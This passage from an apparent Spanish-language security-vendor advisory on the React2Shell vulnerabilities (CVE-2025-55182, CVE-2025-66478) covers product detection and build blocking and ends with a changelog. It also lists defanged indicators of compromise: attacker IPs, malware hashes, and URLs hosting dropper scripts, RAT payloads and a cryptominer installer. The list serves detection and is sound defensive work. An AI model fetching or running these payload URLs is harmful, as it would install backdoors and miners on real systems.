Cortex Cloud proporciona capacidades integrales de ASPM para identificar rápidamente el alcance de CVE-2025-55182 y CVE-2025-66478 a través de su panorama de aplicaciones. A través de visibilidad SBOM en tiempo real, los equipos de seguridad pueden consultar instantáneamente su inventario de software para localizar instancias específicas de paquetes vulnerables de React (versiones 19.0–19.2) y Next.js (versiones 15.x–16.x). El modelo de Riesgo Operativo de la plataforma ayuda aún más en la priorización evaluando la salud de los componentes y los riesgos marcados. Crucialmente, los equipos pueden imponer barreras de prevención primero (prevention-first guardrails) para bloquear automáticamente builds que contengan estas vulnerabilidades críticas. Esto asegura que ninguna aplicación que dependa de la implementación no sancionada o no parcheada del protocolo Flight pueda ser desplegada jamás, deteniendo efectivamente el vector de RCE antes de que entre en su entorno.
Prisma Cloud
Prisma Cloud detecta la presencia de estas vulnerabilidades críticas dentro de su base de código, registros y entornos de ejecución. El escáner de vulnerabilidades de la plataforma identifica específicamente el uso de los paquetes afectados react-server y next asociados con CVE-2025-55182 y CVE-2025-66478. Más allá de la detección, puede configurar reglas de cumplimiento para bloquear activamente builds y despliegues si se detectan estos hallazgos de alta severidad. Al mostrar estos riesgos e imponer un umbral de fallo para CVEs críticos, Prisma Cloud permite a los equipos prevenir el lanzamiento de aplicaciones que ejecutan versiones susceptibles, asegurando que solo los frameworks reforzados y parcheados lleguen a producción.
Indicadores de Compromiso (IoC)
- 140[.]99[.]223[.]178
- 156[.]234[.]209[.]103
- 38[.]162[.]112[.]141
- 45[.]32[.]158[.]54
- 46[.]36[.]37[.]85
- 47[.]84[.]79[.]46
- 95[.]169[.]180[.]135
- 45.134.174[.]235/2.sh
- 45.134.174[.]235/solra
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://115[.]42[.]60[.]223:61236/slt
- hxxp://156[.]234[.]209[.]103:20912/get[.]sh
- hxxp://156[.]234[.]209[.]103:20913/get[.]sh
- hxxp://45[.]32[.]158[.]54/5e51aff54626ef7f/x86_64
- hxxp://46[.]36[.]37[.]85:12000/sex[.]sh
- hxxp://95[.]169[.]180[.]135:8443/pamssod
- hxxp://res[.]qiqigece[.]top/nginx1
- hxxps://raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh
- hxxps://sup001[.]oss-cn-hongkong[.]aliyuncs[.]com/123/python1[.]sh
- reactcdn[.]windowserrorapis[.]com
- res[.]qiqigece[.]top
- ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837
- f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea
- fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125
BPFDoor
- 140.99.223[.]178/32736
- 1f3f0695c7ec63723b2b8e9d50b1838df304821fcb22c7902db1f8248a812035
EtherRAT
- hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh
Noodle RAT
- 192.238.202[.]17
- tcp://vip[.]kof97.lol:443
- hxxp://146.88.129[.]138:5511/443nb64
- 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f
SNOWLIGHT
- 115[.]42[.]60[.]223
- a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- 1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
- 18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b
- 1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e
- 1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20
- 1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b
- 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4
- 2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc
- 4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948
- 55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
- 62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
- 7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53
- 7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a
- 9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624
- ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693
- ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6
- b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787
- bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f
- bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a
- d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16
- d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0
- e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879
VSHell
- 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
Recursos Adicionales
- La evolución de UNC5174 en la guerra cibernética en curso de China: De SNOWLIGHT a VShell – Blog, Sysdig
- Trayendo el Acceso de Vuelta — Brokers de Acceso Inicial Explotan F5 BIG-IP (CVE-2023-46747) y ScreenConnect – Google Cloud Blog
- UNC5174 Funciona como un Broker de Acceso Inicial, Explotando Vulnerabilidades – Reporte de Vulnerabilidad de Hive Pro
Actualizado a las 3:45 p.m. PT para añadir actualizaciones significativas. Estas incluyen una sección de Actividad de Post-Explotación y cobertura de productos. La nueva actividad cubre: escaneo y reconocimiento, robo de credenciales en la nube, scripts dropper maliciosos, criptominería, despliegue del backdoor NOODLERAT, ejecución de SNOWLIGHT y VShell y actividad vinculada a China.
Actualizado el 9 de dic., 2025, a las 2:00 p.m. PT para añadir actualizaciones significativas. Estas incluyen detalles adicionales en la sección de Actividad de Post-Explotación. Las nuevas subsecciones incluyen información sobre: Actividad que comparte superposiciones con herramientas de la DPRK usando EtherRAT; BPFDoor, un backdoor de Linux; y una nueva variante de Auto-color (un backdoor de Linux). Se actualizó la sección de Indicadores de Compromiso. Se añadió una nueva firma de Threat Prevention.
Actualizado el 10 de diciembre de 2025 a la 1:30 p. m. PT para agregar una subsección sobre los intentos de explotación de React2Shell en la sección de Actividad de Post-Explotación. Se agregó información y cobertura de los playbooks de Cortex XDR.
Actualizado el 11 de diciembre de 2025 a la 1:30 p. m. PT para agregar un script a la subsección sobre los intentos de explotación de React2Shell en la sección de Actividad de post-explotación. Se modificó la redacción de Cortex Xpanse.
Actualizado el 12 de dic. de 2025, a la 1:40 p.m. PT para cambiar el lenguaje en torno a la atribución de CL-STA-1015, y actualizar el nombre de BPFDoor a KSwapDoor con detalles adicionales.
Actualizado el 15 de dic. de 2025, a las 2:00 p.m. PT para agregar una actualización sobre KSwapDoor a la sección de Resumen Ejecutivo. Se realizaron pequeños cambios para mayor claridad.